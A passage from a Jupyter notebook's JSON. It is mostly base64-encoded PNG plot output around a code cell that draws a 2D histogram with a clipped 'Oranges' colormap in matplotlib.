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\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Use a named colormap + limit it to a range of values\n", "import matplotlib.cm as cm\n", "fig, ax = plt.subplots()\n", "ax = histogram.plot(ax=ax, cmap=\"Oranges\", show_colorbar=True, cmap_min=20, cmap_max=100, show_values=True)\n", "ax.set_title(\"Clipped colormap\");" ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "data": { "image/png": "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